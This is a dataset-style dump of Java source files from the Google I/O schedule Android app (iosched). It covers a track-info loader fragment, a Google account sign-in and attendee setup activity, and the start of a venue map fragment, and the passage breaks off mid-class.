code
stringlengths
1
2.01M
repo_name
stringlengths
3
62
path
stringlengths
1
267
language
stringclasses
231 values
license
stringclasses
13 values
size
int64
1
2.01M
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import android.app.Activity; import android.database.Cursor; import android.net.Uri; import android.os.Bundle; import android.os.Handler; import android.support.v4.app.ListFragment; import android.support.v4.app.LoaderManager; import android.support.v4.content.CursorLoader; import android.support.v4.content.Loader; /** * A retained, non-UI helper fragment that loads track information such as name, color, etc. */ public class TrackInfoHelperFragment extends ListFragment implements LoaderManager.LoaderCallbacks<Cursor> { /** * The track URI for which to load data. */ private static final String ARG_TRACK = "com.google.android.iosched.extra.TRACK"; private Uri mTrackUri; // To be loaded private String mTrackId; private TrackInfo mInfo = new TrackInfo(); private Handler mHandler = new Handler(); public interface Callbacks { public void onTrackInfoAvailable(String trackId, TrackInfo info); } private static Callbacks sDummyCallbacks = new Callbacks() { @Override public void onTrackInfoAvailable(String trackId, TrackInfo info) { } }; private Callbacks mCallbacks = sDummyCallbacks; public static TrackInfoHelperFragment newFromSessionUri(Uri sessionUri) { return newFromTrackUri(ScheduleContract.Sessions.buildTracksDirUri( ScheduleContract.Sessions.getSessionId(sessionUri))); } public static TrackInfoHelperFragment newFromTrackUri(Uri trackUri) { TrackInfoHelperFragment f = new TrackInfoHelperFragment(); Bundle args = new Bundle(); args.putParcelable(ARG_TRACK, trackUri); f.setArguments(args); return f; } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setRetainInstance(true); mTrackUri = getArguments().getParcelable(ARG_TRACK); if (ScheduleContract.Tracks.ALL_TRACK_ID.equals( ScheduleContract.Tracks.getTrackId(mTrackUri))) { mTrackId = ScheduleContract.Tracks.ALL_TRACK_ID; mInfo.name = getString(R.string.all_tracks); mInfo.color = 0; mInfo.meta = ScheduleContract.Tracks.TRACK_META_NONE; mInfo.level = 1; mInfo.hashtag = ""; mCallbacks.onTrackInfoAvailable(mTrackId, mInfo); } else { getLoaderManager().initLoader(0, null, this); } } @Override public void onAttach(Activity activity) { super.onAttach(activity); if (!(activity instanceof Callbacks)) { throw new ClassCastException("Activity must implement fragment's callbacks."); } mCallbacks = (Callbacks) activity; if (mTrackId != null) { mHandler.post(new Runnable() { @Override public void run() { mCallbacks.onTrackInfoAvailable(mTrackId, mInfo); } }); } } @Override public void onDetach() { super.onDetach(); mCallbacks = sDummyCallbacks; } @Override public Loader<Cursor> onCreateLoader(int id, Bundle data) { return new CursorLoader(getActivity(), mTrackUri, TracksQuery.PROJECTION, null, null, null); } @Override public void onLoadFinished(Loader<Cursor> loader, Cursor cursor) { try { if (!cursor.moveToFirst()) { return; } mTrackId = cursor.getString(TracksQuery.TRACK_ID); mInfo.name = cursor.getString(TracksQuery.TRACK_NAME); mInfo.color = cursor.getInt(TracksQuery.TRACK_COLOR); mInfo.trackAbstract = cursor.getString(TracksQuery.TRACK_ABSTRACT); mInfo.level = cursor.getInt(TracksQuery.TRACK_LEVEL); mInfo.meta = cursor.getInt(TracksQuery.TRACK_META); mInfo.hashtag = cursor.getString(TracksQuery.TRACK_HASHTAG); // Wrapping in a Handler.post allows users of this helper to commit fragment // transactions in the callback. new Handler().post(new Runnable() { @Override public void run() { mCallbacks.onTrackInfoAvailable(mTrackId, mInfo); } }); } finally { cursor.close(); } } @Override public void onLoaderReset(Loader<Cursor> loader) { } /** * {@link com.google.android.apps.iosched.provider.ScheduleContract.Tracks} query parameters. */ private interface TracksQuery { String[] PROJECTION = { ScheduleContract.Tracks.TRACK_ID, ScheduleContract.Tracks.TRACK_NAME, ScheduleContract.Tracks.TRACK_COLOR, ScheduleContract.Tracks.TRACK_ABSTRACT, ScheduleContract.Tracks.TRACK_LEVEL, ScheduleContract.Tracks.TRACK_META, ScheduleContract.Tracks.TRACK_HASHTAG, }; int TRACK_ID = 0; int TRACK_NAME = 1; int TRACK_COLOR = 2; int TRACK_ABSTRACT = 3; int TRACK_LEVEL = 4; int TRACK_META = 5; int TRACK_HASHTAG = 6; } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/TrackInfoHelperFragment.java
Java
asf20
5,995
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.accounts.Account; import android.accounts.AccountManager; import android.app.Activity; import android.app.Dialog; import android.content.ContentResolver; import android.content.Context; import android.content.Intent; import android.content.IntentSender; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.os.Bundle; import android.os.Handler; import android.provider.Settings; import android.support.v4.app.Fragment; import android.support.v4.app.ListFragment; import android.support.v7.app.ActionBarActivity; import android.text.Html; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ArrayAdapter; import android.widget.ListView; import android.widget.TextView; import android.widget.Toast; import com.google.analytics.tracking.android.EasyTracker; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.sync.SyncHelper; import com.google.android.apps.iosched.util.AccountUtils; import com.google.android.apps.iosched.util.PrefUtils; import com.google.android.apps.iosched.util.WiFiUtils; import com.google.android.gms.auth.GoogleAuthUtil; import com.google.android.gms.common.ConnectionResult; import com.google.android.gms.common.GooglePlayServicesClient; import com.google.android.gms.common.GooglePlayServicesUtil; import com.google.android.gms.common.SignInButton; import com.google.android.gms.plus.PlusClient; import com.google.android.gms.plus.model.people.PersonBuffer; import java.util.Arrays; import java.util.List; import static com.google.android.apps.iosched.util.LogUtils.LOGE; import static com.google.android.apps.iosched.util.LogUtils.LOGW; import static com.google.android.apps.iosched.util.LogUtils.makeLogTag; public class AccountActivity extends ActionBarActivity implements AccountUtils.AuthenticateCallback, GooglePlayServicesClient.ConnectionCallbacks, GooglePlayServicesClient.OnConnectionFailedListener, PlusClient.OnPeopleLoadedListener { private static final String TAG = makeLogTag(AccountActivity.class); public static final String EXTRA_FINISH_INTENT = "com.google.android.iosched.extra.FINISH_INTENT"; private static final int SETUP_ATTENDEE = 1; private static final int SETUP_WIFI = 2; private static final String KEY_CHOSEN_ACCOUNT = "chosen_account"; private static final int REQUEST_AUTHENTICATE = 100; private static final int REQUEST_RECOVER_FROM_AUTH_ERROR = 101; private static final int REQUEST_RECOVER_FROM_PLAY_SERVICES_ERROR = 102; private static final int REQUEST_PLAY_SERVICES_ERROR_DIALOG = 103; private static final String POST_AUTH_CATEGORY = "com.google.android.iosched.category.POST_AUTH"; private Account mChosenAccount; private Intent mFinishIntent; private boolean mCancelAuth = false; private boolean mAuthInProgress = false; private boolean mAuthProgressFragmentResumed = false; private boolean mCanRemoveAuthProgressFragment = false; private PlusClient mPlusClient; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_letterboxed_when_large); final Intent intent = getIntent(); if (intent.hasExtra(EXTRA_FINISH_INTENT)) { mFinishIntent = intent.getParcelableExtra(EXTRA_FINISH_INTENT); } if (savedInstanceState == null) { if (!AccountUtils.isAuthenticated(this)) { getSupportFragmentManager().beginTransaction() .add(R.id.root_container, new SignInMainFragment(), "signin_main") .commit(); } else { mChosenAccount = new Account(AccountUtils.getChosenAccountName(this), "com.google"); getSupportFragmentManager().beginTransaction() .add(R.id.root_container, SignInSetupFragment.makeFragment(SETUP_ATTENDEE), "setup_attendee") .commit(); } } else { String accountName = savedInstanceState.getString(KEY_CHOSEN_ACCOUNT); if (accountName != null) { mChosenAccount = new Account(accountName, "com.google"); mPlusClient = (new PlusClient.Builder(this, this, this)) .setAccountName(accountName) .setScopes(AccountUtils.AUTH_SCOPES) .build(); } } } @Override public void onRecoverableException(final int code) { runOnUiThread(new Runnable() { @Override public void run() { final Dialog d = GooglePlayServicesUtil.getErrorDialog( code, AccountActivity.this, REQUEST_RECOVER_FROM_PLAY_SERVICES_ERROR); d.show(); } }); } @Override public void onUnRecoverableException(final String errorMessage) { LOGW(TAG, "Encountered unrecoverable exception: " + errorMessage); } @Override protected void onSaveInstanceState(Bundle outState) { if (mChosenAccount != null) outState.putString(KEY_CHOSEN_ACCOUNT, mChosenAccount.name); super.onSaveInstanceState(outState); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == REQUEST_AUTHENTICATE || requestCode == REQUEST_RECOVER_FROM_AUTH_ERROR || requestCode == REQUEST_PLAY_SERVICES_ERROR_DIALOG) { if (resultCode == RESULT_OK) { if (mPlusClient != null) mPlusClient.connect(); } else { if (mAuthProgressFragmentResumed) { runOnUiThread(new Runnable() { @Override public void run() { getSupportFragmentManager().popBackStack(); } }); } else { mCanRemoveAuthProgressFragment = true; } } } else { super.onActivityResult(requestCode, resultCode, data); } } @Override public void onStop() { super.onStop(); if (mAuthInProgress) mCancelAuth = true; if (mPlusClient != null) mPlusClient.disconnect(); } @Override public void onPeopleLoaded(ConnectionResult status, PersonBuffer personBuffer, String nextPageToken) { if (status.isSuccess()) { if (personBuffer != null && personBuffer.getCount() > 0) { // Set the profile id AccountUtils.setPlusProfileId(this, personBuffer.get(0).getId()); } } else { LOGE(TAG, "Got " + status.getErrorCode() + ". Could not load plus profile."); } } public static class SignInMainFragment extends Fragment { public SignInMainFragment() { } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { ViewGroup rootView = (ViewGroup) inflater.inflate( R.layout.fragment_login_main, container, false); TextView descriptionTextView = (TextView) rootView.findViewById( R.id.sign_in_description); descriptionTextView.setText(Html.fromHtml(getString(R.string.description_sign_in_main))); SignInButton signinButtonView = (SignInButton) rootView.findViewById(R.id.sign_in_button); signinButtonView.setSize(SignInButton.SIZE_WIDE); signinButtonView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { getActivity().getSupportFragmentManager().beginTransaction() .replace(R.id.root_container, new ChooseAccountFragment(), "choose_account") .addToBackStack("signin_main") .commit(); } }); return rootView; } } public static class SignInSetupFragment extends ListFragment { private static final String ARG_SETUP_ID = "setupId"; private int mDescriptionHeaderResId = 0; private int mDescriptionBodyResId = 0; private int mSelectionResId = 0; private int mSetupId; private static final int ATCONF_DIMEN_INDEX = 1; public SignInSetupFragment() {} public static Fragment makeFragment(int setupId) { Bundle args = new Bundle(); args.putInt(ARG_SETUP_ID, setupId); SignInSetupFragment fragment = new SignInSetupFragment(); fragment.setArguments(args); return fragment; } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setRetainInstance(true); mSetupId = getArguments().getInt(ARG_SETUP_ID); switch (mSetupId) { case SETUP_ATTENDEE: mDescriptionHeaderResId = R.string.description_setup_attendee_mode_header; mDescriptionBodyResId = R.string.description_setup_attendee_mode_body; mSelectionResId = R.array.selection_setup_attendee; break; case SETUP_WIFI: mDescriptionHeaderResId = R.string.description_setup_wifi_header; mDescriptionBodyResId = R.string.description_setup_wifi_body; mSelectionResId = R.array.selection_setup_wifi; break; default: throw new IllegalArgumentException("Undefined setup id."); } } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { ViewGroup rootView = (ViewGroup) inflater.inflate( R.layout.fragment_login_setup, container, false); final TextView descriptionView = (TextView) rootView.findViewById( R.id.login_setup_desc); descriptionView.setText(Html.fromHtml(getString(mDescriptionHeaderResId) + getString(mDescriptionBodyResId))); return rootView; } @Override public void onResume() { super.onResume(); setListAdapter( new ArrayAdapter<String> (getActivity(), R.layout.list_item_login_option, getResources().getStringArray(mSelectionResId))); } @Override public void onListItemClick(ListView l, View v, int position, long id) { final Activity activity = getActivity(); if (mSetupId == SETUP_ATTENDEE) { if (position == 0) { // Attendee is at the conference. If WiFi AP isn't set already, go to // the WiFi set up screen. Otherwise, set up is done. PrefUtils.setAttendeeAtVenue(activity, true); PrefUtils.setUsingLocalTime(activity, false); // If WiFi has already been configured, set up is complete. Otherwise, // show the WiFi AP configuration screen. //if (WiFiUtils.shouldInstallWiFi(activity)) { if (WiFiUtils.shouldBypassWiFiSetup(activity)) { ((AccountActivity)activity).finishSetup(); } else { getFragmentManager().beginTransaction() .replace(R.id.root_container, SignInSetupFragment.makeFragment(SETUP_WIFI), "setup_wifi") .addToBackStack("setup_attendee") .commit(); } EasyTracker.getTracker() .setCustomDimension(ATCONF_DIMEN_INDEX,"conference attendee"); } else if (position == 1) { // Attendee is remote. Set up is done. PrefUtils.setAttendeeAtVenue(activity, false); PrefUtils.setUsingLocalTime(activity, true); EasyTracker.getTracker() .setCustomDimension(ATCONF_DIMEN_INDEX,"remote attendee"); ((AccountActivity)activity).finishSetup(); } } else if (mSetupId == SETUP_WIFI) { if (position == 0) { WiFiUtils.setWiFiConfigStatus(activity, WiFiUtils.WIFI_CONFIG_REQUESTED); } // Done with set up. ((AccountActivity)activity).finishSetup(); } } } public static class ChooseAccountFragment extends ListFragment { public ChooseAccountFragment() { } @Override public void onResume() { super.onResume(); reloadAccountList(); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { ViewGroup rootView = (ViewGroup) inflater.inflate( R.layout.fragment_login_choose_account, container, false); TextView descriptionView = (TextView) rootView.findViewById(R.id.choose_account_intro); descriptionView.setText(Html.fromHtml(getString(R.string.description_choose_account))); return rootView; } private AccountListAdapter mAccountListAdapter; private void reloadAccountList() { if (mAccountListAdapter != null) { mAccountListAdapter = null; } AccountManager am = AccountManager.get(getActivity()); Account[] accounts = am.getAccountsByType(GoogleAuthUtil.GOOGLE_ACCOUNT_TYPE); mAccountListAdapter = new AccountListAdapter(getActivity(), Arrays.asList(accounts)); setListAdapter(mAccountListAdapter); } private class AccountListAdapter extends ArrayAdapter<Account> { private static final int LAYOUT_RESOURCE = R.layout.list_item_login_option; public AccountListAdapter(Context context, List<Account> accounts) { super(context, LAYOUT_RESOURCE, accounts); } private class ViewHolder { TextView text1; } @Override public int getCount() { return super.getCount() + 1; } public View getView(int position, View convertView, ViewGroup parent) { ViewHolder holder; if (convertView == null) { convertView = getLayoutInflater(null).inflate(LAYOUT_RESOURCE, null); holder = new ViewHolder(); holder.text1 = (TextView) convertView.findViewById(android.R.id.text1); convertView.setTag(holder); } else { holder = (ViewHolder) convertView.getTag(); } if (position == getCount() - 1) { holder.text1.setText(R.string.description_add_account); } else { final Account account = getItem(position); if (account != null) { holder.text1.setText(account.name); } else { holder.text1.setText(""); } } return convertView; } } @Override public void onListItemClick(ListView l, View v, int position, long id) { if (position == mAccountListAdapter.getCount() - 1) { Intent addAccountIntent = new Intent(Settings.ACTION_ADD_ACCOUNT); addAccountIntent.putExtra(Settings.EXTRA_AUTHORITIES, new String[]{ScheduleContract.CONTENT_AUTHORITY}); startActivity(addAccountIntent); return; } AccountActivity activity = (AccountActivity) getActivity(); ConnectivityManager cm = (ConnectivityManager) activity.getSystemService(CONNECTIVITY_SERVICE); NetworkInfo activeNetwork = cm.getActiveNetworkInfo(); if (activeNetwork == null || !activeNetwork.isConnected()) { Toast.makeText(activity, R.string.no_connection_cant_login, Toast.LENGTH_SHORT).show(); return; } activity.mCancelAuth = false; activity.mChosenAccount = mAccountListAdapter.getItem(position); activity.getSupportFragmentManager().beginTransaction() .replace(R.id.root_container, new AuthProgressFragment(), "loading") .addToBackStack("choose_account") .commit(); PlusClient.Builder builder = new PlusClient.Builder(activity, activity, activity); activity.mPlusClient = builder .setScopes(AccountUtils.AUTH_SCOPES) .setAccountName(activity.mChosenAccount.name).build(); activity.mPlusClient.connect(); } } public static class AuthProgressFragment extends Fragment { private static final int TRY_AGAIN_DELAY_MILLIS = 7 * 1000; // 7 seconds private final Handler mHandler = new Handler(); public AuthProgressFragment() { } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { ViewGroup rootView = (ViewGroup) inflater.inflate(R.layout.fragment_login_loading, container, false); final View takingAWhilePanel = rootView.findViewById(R.id.taking_a_while_panel); final View tryAgainButton = rootView.findViewById(R.id.retry_button); tryAgainButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { getFragmentManager().popBackStack(); } }); mHandler.postDelayed(new Runnable() { @Override public void run() { if (!isAdded()) { return; } if (AccountUtils.isAuthenticated(getActivity())) { ((AccountActivity) getActivity()).onAuthTokenAvailable(); return; } takingAWhilePanel.setVisibility(View.VISIBLE); } }, TRY_AGAIN_DELAY_MILLIS); return rootView; } @Override public void onPause() { super.onPause(); ((AccountActivity) getActivity()).mAuthProgressFragmentResumed = false; } @Override public void onResume() { super.onResume(); ((AccountActivity) getActivity()).mAuthProgressFragmentResumed = true; if (((AccountActivity) getActivity()).mCanRemoveAuthProgressFragment) { ((AccountActivity) getActivity()).mCanRemoveAuthProgressFragment = false; getFragmentManager().popBackStack(); } } @Override public void onDetach() { super.onDetach(); ((AccountActivity) getActivity()).mCancelAuth = true; } } private void tryAuthenticate() { // Authenticate through the Google Play OAuth client. mAuthInProgress = true; AccountUtils.tryAuthenticate(this, this, mChosenAccount.name, REQUEST_RECOVER_FROM_AUTH_ERROR); } @Override public boolean shouldCancelAuthentication() { return mCancelAuth; } @Override public void onAuthTokenAvailable() { // Cancel progress fragment. // Create set up fragment. mAuthInProgress = false; if (mAuthProgressFragmentResumed) { getSupportFragmentManager().popBackStack(); getSupportFragmentManager().beginTransaction() .replace(R.id.root_container, SignInSetupFragment.makeFragment(SETUP_ATTENDEE), "setup_attendee") .addToBackStack("signin_main") .commit(); } } private void finishSetup() { ContentResolver.setIsSyncable(mChosenAccount, ScheduleContract.CONTENT_AUTHORITY, 1); ContentResolver.setSyncAutomatically(mChosenAccount, ScheduleContract.CONTENT_AUTHORITY, true); SyncHelper.requestManualSync(mChosenAccount); PrefUtils.markSetupDone(this); if (mFinishIntent != null) { // Ensure the finish intent is unique within the task. Otherwise, if the task was // started with this intent, and it finishes like it should, then startActivity on // the intent again won't work. mFinishIntent.addCategory(POST_AUTH_CATEGORY); startActivity(mFinishIntent); } finish(); } // Google Plus client callbacks. @Override public void onConnected(Bundle connectionHint) { // It is possible that the authenticated account doesn't have a profile. mPlusClient.loadPeople(this, "me"); tryAuthenticate(); } @Override public void onDisconnected() { } @Override public void onConnectionFailed(ConnectionResult connectionResult) { if (connectionResult.hasResolution()) { try { connectionResult.startResolutionForResult(this, REQUEST_RECOVER_FROM_AUTH_ERROR); } catch (IntentSender.SendIntentException e) { LOGE(TAG, "Internal error encountered: " + e.getMessage()); } return; } final int errorCode = connectionResult.getErrorCode(); if (GooglePlayServicesUtil.isUserRecoverableError(errorCode)) { GooglePlayServicesUtil.getErrorDialog(errorCode, this, REQUEST_PLAY_SERVICES_ERROR_DIALOG).show(); } } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/AccountActivity.java
Java
asf20
23,436
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import static com.google.android.apps.iosched.util.LogUtils.LOGD; import static com.google.android.apps.iosched.util.LogUtils.makeLogTag; import android.annotation.SuppressLint; import android.app.Activity; import android.app.PendingIntent; import android.content.*; import android.database.ContentObserver; import android.database.Cursor; import android.graphics.Bitmap; import android.graphics.Point; import android.location.Criteria; import android.location.Location; import android.location.LocationManager; import android.net.Uri; import android.os.Build; import android.os.Bundle; import android.os.Handler; import android.preference.PreferenceManager; import android.support.v4.app.LoaderManager; import android.support.v4.app.LoaderManager.LoaderCallbacks; import android.support.v4.content.CursorLoader; import android.support.v4.content.Loader; import android.text.format.DateUtils; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.view.ViewTreeObserver; import android.widget.Button; import android.widget.FrameLayout; import com.google.analytics.tracking.android.EasyTracker; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.util.MapUtils; import com.google.android.apps.iosched.util.ParserUtils; import com.google.android.apps.iosched.util.PrefUtils; import com.google.android.apps.iosched.util.UIUtils; import com.google.android.gms.maps.CameraUpdateFactory; import com.google.android.gms.maps.GoogleMap; import com.google.android.gms.maps.Projection; import com.google.android.gms.maps.SupportMapFragment; import com.google.android.gms.maps.model.BitmapDescriptor; import com.google.android.gms.maps.model.BitmapDescriptorFactory; import com.google.android.gms.maps.model.CameraPosition; import com.google.android.gms.maps.model.LatLng; import com.google.android.gms.maps.model.Marker; import com.google.android.gms.maps.model.MarkerOptions; import com.google.android.gms.maps.model.TileOverlay; import com.google.android.gms.maps.model.TileOverlayOptions; import com.google.android.gms.maps.model.TileProvider; import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.Formatter; import java.util.HashMap; import java.util.Locale; /** * Shows a map of the conference venue. */ public class MapFragment extends SupportMapFragment implements GoogleMap.OnInfoWindowClickListener, GoogleMap.OnMarkerClickListener, GoogleMap.OnCameraChangeListener, LoaderCallbacks<Cursor> { private static final LatLng MOSCONE = new LatLng(37.78353872135503, -122.40336209535599); // Initial camera position private static final LatLng CAMERA_MOSCONE = new LatLng(37.783107, -122.403789 ); private static final float CAMERA_ZOOM = 17.75f; private static final int NUM_FLOORS = 3; // number of floors private static final int INITIAL_FLOOR = 1; /** * When specified, will automatically point the map to the requested room. */ public static final String EXTRA_ROOM = "com.google.android.iosched.extra.ROOM"; private static final String TAG = makeLogTag(MapFragment.class); // Marker types public static final String TYPE_SESSION = "session"; public static final String TYPE_LABEL = "label"; public static final String TYPE_SANDBOX = "sandbox"; public static final String TYPE_INACTIVE = "inactive"; // Tile Providers private TileProvider[] mTileProviders; private TileOverlay[] mTileOverlays; private Button[] mFloorButtons = new Button[NUM_FLOORS]; private View mFloorControls; // Markers stored by id private HashMap<String, MarkerModel> mMarkers = null; // Markers stored by floor private ArrayList<ArrayList<Marker>> mMarkersFloor = null; private boolean mOverlaysLoaded = false; private boolean mMarkersLoaded = false; private boolean mTracksLoaded = false; // Cached size of view private int mWidth, mHeight; // Padding for #centerMap private int mShiftRight = 0; private int mShiftTop = 0; // Screen DPI private float mDPI = 0; // currently displayed floor private int mFloor = -1; // Show markers at default zoom level private boolean mShowMarkers = true; // Cached tracks data private HashMap<String,TrackModel> mTracks = null; private GoogleMap mMap; private MapInfoWindowAdapter mInfoAdapter; private MyLocationManager mMyLocationManager = null; // Handler for info window queries private AsyncQueryHandler mQueryHandler; public interface Callbacks { public void onSessionRoomSelected(String roomId, String roomTitle); public void onSandboxRoomSelected(String trackId, String roomTitle); } private static Callbacks sDummyCallbacks = new Callbacks() { @Override public void onSessionRoomSelected(String roomId, String roomTitle) { } @Override public void onSandboxRoomSelected(String trackId, String roomTitle) { } }; private Callbacks mCallbacks = sDummyCallbacks; private String mHighlightedRoom = null; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); EasyTracker.getTracker().sendView("Map"); LOGD("Tracker", "Map"); clearMap(); // get DPI mDPI = getActivity().getResources().getDisplayMetrics().densityDpi / 160f; // setup the query handler to populate info windows mQueryHandler = createInfowindowHandler(getActivity().getContentResolver()); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View mapView = super.onCreateView(inflater, container, savedInstanceState); View v = inflater.inflate(R.layout.fragment_map, container, false); FrameLayout layout = (FrameLayout) v.findViewById(R.id.map_container); layout.addView(mapView, 0); mFloorControls = layout.findViewById(R.id.map_floorcontrol); // setup floor button handlers mFloorButtons[0] = (Button) v.findViewById(R.id.map_floor1); mFloorButtons[1] = (Button) v.findViewById(R.id.map_floor2); mFloorButtons[2] = (Button) v.findViewById(R.id.map_floor3); for (int i = 0; i < mFloorButtons.length; i++) { final int j = i; mFloorButtons[i].setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { showFloor(j); } }); } // get the height and width of the view mapView.getViewTreeObserver().addOnGlobalLayoutListener( new ViewTreeObserver.OnGlobalLayoutListener() { @SuppressWarnings("deprecation") @SuppressLint("NewApi") @Override public void onGlobalLayout() { final View v = getView(); mHeight = v.getHeight(); mWidth = v.getWidth(); // also requires width and height enableFloors(); if (v.getViewTreeObserver().isAlive()) { // remove this layout listener if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN) { v.getViewTreeObserver() .removeOnGlobalLayoutListener(this); } else { v.getViewTreeObserver() .removeGlobalOnLayoutListener(this); } } } }); if (mMap == null) { setupMap(true); } // load all markers LoaderManager lm = getActivity().getSupportLoaderManager(); lm.initLoader(MarkerQuery._TOKEN, null, this); // load the tile overlays lm.initLoader(OverlayQuery._TOKEN, null, this); // load tracks data lm.initLoader(TracksQuery._TOKEN, null, this); return v; } /** * Clears the map and initialises all map variables that hold markers and overlays. */ private void clearMap() { if (mMap != null) { mMap.clear(); } // setup tile provider arrays mTileProviders = new TileProvider[NUM_FLOORS]; mTileOverlays = new TileOverlay[NUM_FLOORS]; mMarkers = new HashMap<String, MarkerModel>(); mMarkersFloor = new ArrayList<ArrayList<Marker>>(); // initialise floor marker lists for (int i = 0; i < NUM_FLOORS; i++) { mMarkersFloor.add(i, new ArrayList<Marker>()); } } private void setupMap(boolean resetCamera) { mInfoAdapter = new MapInfoWindowAdapter(getLayoutInflater(null), getResources(), mMarkers); mMap = getMap(); mMap.setOnMarkerClickListener(this); mMap.setOnInfoWindowClickListener(this); mMap.setOnCameraChangeListener(this); mMap.setInfoWindowAdapter(mInfoAdapter); if (resetCamera) { mMap.moveCamera(CameraUpdateFactory.newCameraPosition(CameraPosition.fromLatLngZoom( CAMERA_MOSCONE, CAMERA_ZOOM))); } mMap.setIndoorEnabled(false); mMap.getUiSettings().setZoomControlsEnabled(false); if (MapUtils.getMyLocationEnabled(this.getActivity())) { mMyLocationManager = new MyLocationManager(); } Bundle data = getArguments(); if (data != null && data.containsKey(EXTRA_ROOM)) { mHighlightedRoom = data.getString(EXTRA_ROOM); } LOGD(TAG, "Map setup complete."); } @Override public void onAttach(Activity activity) { super.onAttach(activity); if (!(activity instanceof Callbacks)) { throw new ClassCastException( "Activity must implement fragment's callbacks."); } mCallbacks = (Callbacks) activity; activity.getContentResolver().registerContentObserver( ScheduleContract.MapMarkers.CONTENT_URI, true, mObserver); activity.getContentResolver().registerContentObserver( ScheduleContract.MapTiles.CONTENT_URI, true, mObserver); SharedPreferences sp = PreferenceManager.getDefaultSharedPreferences(activity); sp.registerOnSharedPreferenceChangeListener(mPrefChangeListener); } @Override public void onDetach() { super.onDetach(); mCallbacks = sDummyCallbacks; getActivity().getContentResolver().unregisterContentObserver(mObserver); SharedPreferences sp = PreferenceManager.getDefaultSharedPreferences(getActivity()); sp.unregisterOnSharedPreferenceChangeListener(mPrefChangeListener); } private void showFloor(int floor) { if (mFloor != floor) { if (mFloor >= 0) { // hide old overlay mTileOverlays[mFloor].setVisible(false); mFloorButtons[mFloor].setBackgroundResource(R.drawable.map_floor_button_background); mFloorButtons[mFloor].setTextColor(getResources().getColor( R.color.map_floorselect_inactive)); // hide all markers for (Marker m : mMarkersFloor.get(mFloor)) { m.setVisible(false); } } mFloor = floor; // show the floor overlay if (mTileOverlays[mFloor] != null) { mTileOverlays[mFloor].setVisible(true); } // show all markers for (Marker m : mMarkersFloor.get(mFloor)) { m.setVisible(mShowMarkers); } // mark button active mFloorButtons[mFloor] .setBackgroundResource(R.drawable.map_floor_button_active_background); mFloorButtons[mFloor].setTextColor(getResources().getColor( R.color.map_floorselect_active)); } } /** * Enable floor controls and display map features when all loaders have * finished. This ensures that only complete data for the correct floor is * shown. */ private void enableFloors() { if (mOverlaysLoaded && mMarkersLoaded && mTracksLoaded && mWidth > 0 && mHeight > 0) { mFloorControls.setVisibility(View.VISIBLE); // highlight a room if argument is set and exists, otherwise show the default floor if (mHighlightedRoom != null && mMarkers.containsKey(mHighlightedRoom)) { highlightRoom(mHighlightedRoom); mHighlightedRoom = null; } else { showFloor(INITIAL_FLOOR); mHighlightedRoom = null; } } } void addTileProvider(int floor, File f) { if (!f.exists()) { return; } TileProvider provider; try { provider = new SVGTileProvider(f, mDPI); } catch (IOException e) { LOGD(TAG, "Could not create Tile Provider."); e.printStackTrace(); return; } TileOverlayOptions tileOverlay = new TileOverlayOptions() .tileProvider(provider).visible(false); mTileProviders[floor] = provider; mTileOverlays[floor] = mMap.addTileOverlay(tileOverlay); } @Override public void onInfoWindowClick(Marker marker) { final String snippet = marker.getSnippet(); if (TYPE_SESSION.equals(snippet)) { final String roomId = marker.getTitle(); EasyTracker.getTracker().sendEvent( "Map", "infoclick", roomId, 0L); mCallbacks.onSessionRoomSelected(roomId, mMarkers.get(roomId).label); // ignore other markers } else if (TYPE_SANDBOX.equals(snippet)) { final String roomId = marker.getTitle(); MarkerModel model = mMarkers.get(roomId); EasyTracker.getTracker().sendEvent( "Map", "infoclick", roomId, 0L); mCallbacks.onSandboxRoomSelected(model.track, model.label); } } @Override 